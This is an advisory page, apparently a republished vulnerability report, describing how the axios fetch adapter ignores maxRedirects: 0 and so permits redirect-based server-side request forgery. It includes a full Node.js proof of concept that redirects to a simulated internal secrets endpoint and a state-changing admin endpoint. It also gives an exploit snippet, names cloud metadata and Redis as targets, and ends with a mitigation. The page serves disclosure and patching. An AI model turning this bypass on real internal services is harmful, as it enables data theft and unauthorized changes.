Axios, Redirect-based SSRF Bypass, CVE-2026-101907 (High) -DC-Sep2026-2664

Listen to this Post

Axios exposes `maxRedirects` as a configuration option to limit redirect following, and setting it to `0` is a documented pattern for preventing redirect-based SSRF. The HTTP adapter enforces this via follow-redirects. The fetch adapter does not read `maxRedirects` at all – it passes requests to the underlying `fetch()` call with no `redirect` option, which defaults to 'follow', so redirects are followed by the runtime rather than being constrained by axios maxRedirects. In the attached PoC, a request issued with `maxRedirects: 0` and `adapter: ‘fetch’` follows a 302 redirect to an internal service and returns its response, while the same request with `adapter: ‘http’` correctly throws. A second bypass case demonstrates that the redirect can reach a state-changing internal endpoint, not just read-only ones, proving both confidentiality and integrity impact. This affects any application that sets `maxRedirects: 0` as a redirect guard and runs in an environment where the fetch adapter is active: Deno, Bun, Cloudflare Workers, or Node.js with `adapter: ‘fetch’` set explicitly. The fetch adapter destructures config fields from `resolveConfig` at `lib/adapters/fetch.js` but does not extract maxRedirects. The options object passed to `fetch()` has no `redirect` key, so the Fetch API default of `redirect: ‘follow’` applies. The HTTP adapter, by contrast, delegates to follow-redirects, which reads maxRedirects, enforces the cap, and strips Authorization, Cookie, and `Proxy-Authorization` on cross-origin redirects. The discrepancy between adapters is not documented. The threat model covers credential stripping on redirects (T-R2) and cites `follow-redirects` as the mitigation, but makes no mention that the fetch adapter does not participate in this mitigation. The behaviour difference between adapters is summarised as follows: the HTTP adapter reads `config.maxRedirects` and enforces `maxRedirects: 0` by throwing on any redirect, while the fetch adapter does not read it and follows silently. The HTTP adapter strips `Authorization` and `Cookie` cross-origin (via follow-redirects >= 1.15.8), whereas the fetch adapter’s behaviour is runtime-dependent. When is the fetch adapter selected? In Deno, Bun, and Cloudflare Workers, there is no Node.js `http` module available; the adapter list falls through to 'fetch'. It can also be selected explicitly via `axios.get(url, { adapter: ‘fetch’ })` or a custom adapter list like axios.create({ adapter: ['fetch'] }). The PoC demonstrates the bypass with two servers: Server A issues open redirects to Server B, which simulates an internal service. The control case shows the HTTP adapter correctly blocks the redirect and the internal hit counter stays at 0. The bypass case shows the fetch adapter follows the redirect, returning the internal secrets and incrementing the hit counter to 1. A second bypass follows a redirect to a state-changing internal admin endpoint, mutating internal state and incrementing the hit counter to 2. This should not be characterised as an unconditional SSRF. The bypass requires either an open redirect on the initial target, or a URL that is itself a redirect. The issue is that maxRedirects: 0, which is the intended mitigation for this class of attack, is silently non-functional in the fetch adapter, leaving applications with a false sense of protection.

DailyCVE Form:

Platform: Axios
Version: 1.17.0-1.20.0
Vulnerability: maxRedirects bypass
Severity: High
date: 2026-09-28

Prediction: 2026-10-15

What Undercode Say:

node poc-max-redirects.mjs
import http from 'http';
import axios from './index.js';
const serverA = http.createServer((req, res) => {
if (req.url === '/api/data') {
res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/secrets' });
return res.end();
}
if (req.url === '/api/change-config') {
res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/admin/config' });
return res.end();
}
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ ok: true }));
});
let internalHits = 0;
let internalConfig = {};
const serverB = http.createServer(async (req, res) => {
internalHits++;
if (req.url === '/internal/secrets') {
res.writeHead(200, { 'Content-Type': 'application/json' });
return res.end(JSON.stringify({
secret: 'FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY',
role: 'arn:aws:iam::000000000000:role/FakeProductionRole',
}));
}
if (req.url === '/internal/admin/config') {
internalConfig = { compromised: true, source: 'redirect-followed-by-fetch-adapter' };
res.writeHead(200, { 'Content-Type': 'application/json' });
return res.end(JSON.stringify({
reached: 'state-changing internal admin endpoint',
changed: true,
internalConfig,
}));
}
res.writeHead(404);
res.end();
});
await Promise.all([
new Promise((resolve, reject) => { serverA.listen(13801, '127.0.0.1', resolve); serverA.on('error', reject); }),
new Promise((resolve, reject) => { serverB.listen(13802, '127.0.0.1', resolve); serverB.on('error', reject); }),
]);
const targetUrl = 'http://127.0.0.1:13801/api/data';
const changeUrl = 'http://127.0.0.1:13801/api/change-config';
const internalUrl = 'http://127.0.0.1:13802/internal/secrets';
const internalCfg = 'http://127.0.0.1:13802/internal/admin/config';
console.log('Axios maxRedirects bypass via fetch adapter PoC');
console.log(<code>axios VERSION=${axios.VERSION}</code>);
console.log(<code>maxRedirects=0</code>);
console.log(<code>Target URL=${targetUrl}</code>);
console.log(<code>redirects to ${internalUrl}</code>);
console.log(<code>Change URL=${changeUrl}</code>);
console.log(<code>redirects to ${internalCfg}</code>);
console.log('');
let httpBlocked = false;
try {
await axios.get(targetUrl, { maxRedirects: 0, adapter: 'http' });
console.log('[bash] HTTP adapter + maxRedirects:0 BUG: should have thrown');
} catch (err) {
httpBlocked = true;
console.log(<code>[bash] HTTP adapter + maxRedirects:0 correctly blocked redirect ✓ (${err.code ?? err.message})</code>);
}
console.log(<code>[bash] Internal hits after HTTP adapter: ${internalHits}</code>);
let fetchResponse = null;
try {
fetchResponse = await axios.get(targetUrl, { maxRedirects: 0, adapter: 'fetch' });
console.log('[bash] Fetch adapter + maxRedirects:0 SSRF succeeded ✗');
console.log(' Response:', JSON.stringify(fetchResponse.data));
} catch (err) {
console.log('[bash] Fetch adapter + maxRedirects:0 redirect blocked (unexpected):', err.message);
}
console.log(<code>[bash] Internal hits after fetch adapter: ${internalHits}</code>);
let changedResponse = null;
try {
changedResponse = await axios.get(changeUrl, { maxRedirects: 0, adapter: 'fetch' });
console.log('[bash] Fetch adapter state change:', JSON.stringify(changedResponse.data));
console.log(<code>[bash] Internal hits after state change: ${internalHits}</code>);
} catch (err) {
console.log('[bash] State change request blocked (unexpected):', err.message);
}
console.log('');
if (httpBlocked && fetchResponse && changedResponse) {
console.log('POC RESULT: fetch adapter followed redirects despite maxRedirects:0,');
console.log(' reaching internal service and mutating internal state.');
} else if (httpBlocked && fetchResponse) {
console.log('POC RESULT: fetch adapter followed redirect despite maxRedirects:0,');
console.log(' reaching internal service that should have been unreachable.');
} else if (!httpBlocked) {
console.log('POC RESULT: HTTP adapter did not block redirect -- unexpected, check axios version.');
} else {
console.log('POC RESULT: fetch adapter blocked redirect -- issue may be fixed.');
}
serverA.close();
serverB.close();

Exploit: (Educational Purposes!)

await axios.get(serverA, { adapter: 'http', maxRedirects: 0 }); // throws
await axios.get(serverA, { adapter: 'fetch', maxRedirects: 0 }); // returns INTERNAL

Protection: from this CVE

axios.get(url, {
adapter: 'fetch',
maxRedirects: 0,
fetchOptions: { redirect: 'manual' }
});

Impact:

This is a redirect enforcement bypass affecting axios applications running in environments where the fetch adapter is active. The internal admin route in the PoC simulates an affected deployment where a redirected request can reach state-changing internal APIs. The vulnerability is that `maxRedirects: 0` is silently ignored by the fetch adapter; the exact impact depends on what redirect targets are reachable from the runtime. The impact is environment- and configuration-dependent. It affects axios users who set `maxRedirects: 0` as a defense against redirect-based SSRF, and run in an environment where the fetch adapter is selected, either by runtime (Deno, Bun, Cloudflare Workers) or by explicit configuration. In these cases, a 302 redirect from the initial target is followed silently by default, unless the caller separately sets fetchOptions.redirect. If the redirect target is an internal service, the application returns its response to the caller with no indication that a redirect occurred or that `maxRedirects` was not honoured. The failure is silent: no error is thrown, no warning is logged. The bypass is not limited to read-only access. As demonstrated by the second bypass case, a redirect to a state-changing internal endpoint succeeds equally. An attacker who can influence the redirect destination, for example through an open redirect on the initial target or a server they control, can reach internal and trigger mutations that the application never intended to issue. Potentially affected environments include Deno and Bun applications using axios where the fetch adapter is the default, Cloudflare Workers using axios, which has no Node.js `http` module, Node.js applications that explicitly configure `adapter: ‘fetch’` or a custom adapter list that resolves to fetch, and any application that conditionally sets `maxRedirects: 0` and runs across multiple environments with different adapter selection. Internal services reachable via a redirect include cloud instance metadata endpoints (169.254.169.254), unauthenticated local services such as Redis or internal admin APIs, and other hosts accessible from the application’s network that are not intended to be reachable by the caller. The hit counter in the PoC makes the access concrete: 0 after the HTTP control, 1 after the confidentiality bypass, 2 after the integrity bypass. This should not be characterised as an unconditional SSRF. The bypass requires either an open redirect on the initial target, or a URL that is itself a redirect. The issue is that maxRedirects: 0, which is the intended mitigation for this class of attack, is silently non-functional in the fetch adapter, leaving applications with a false sense of protection.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top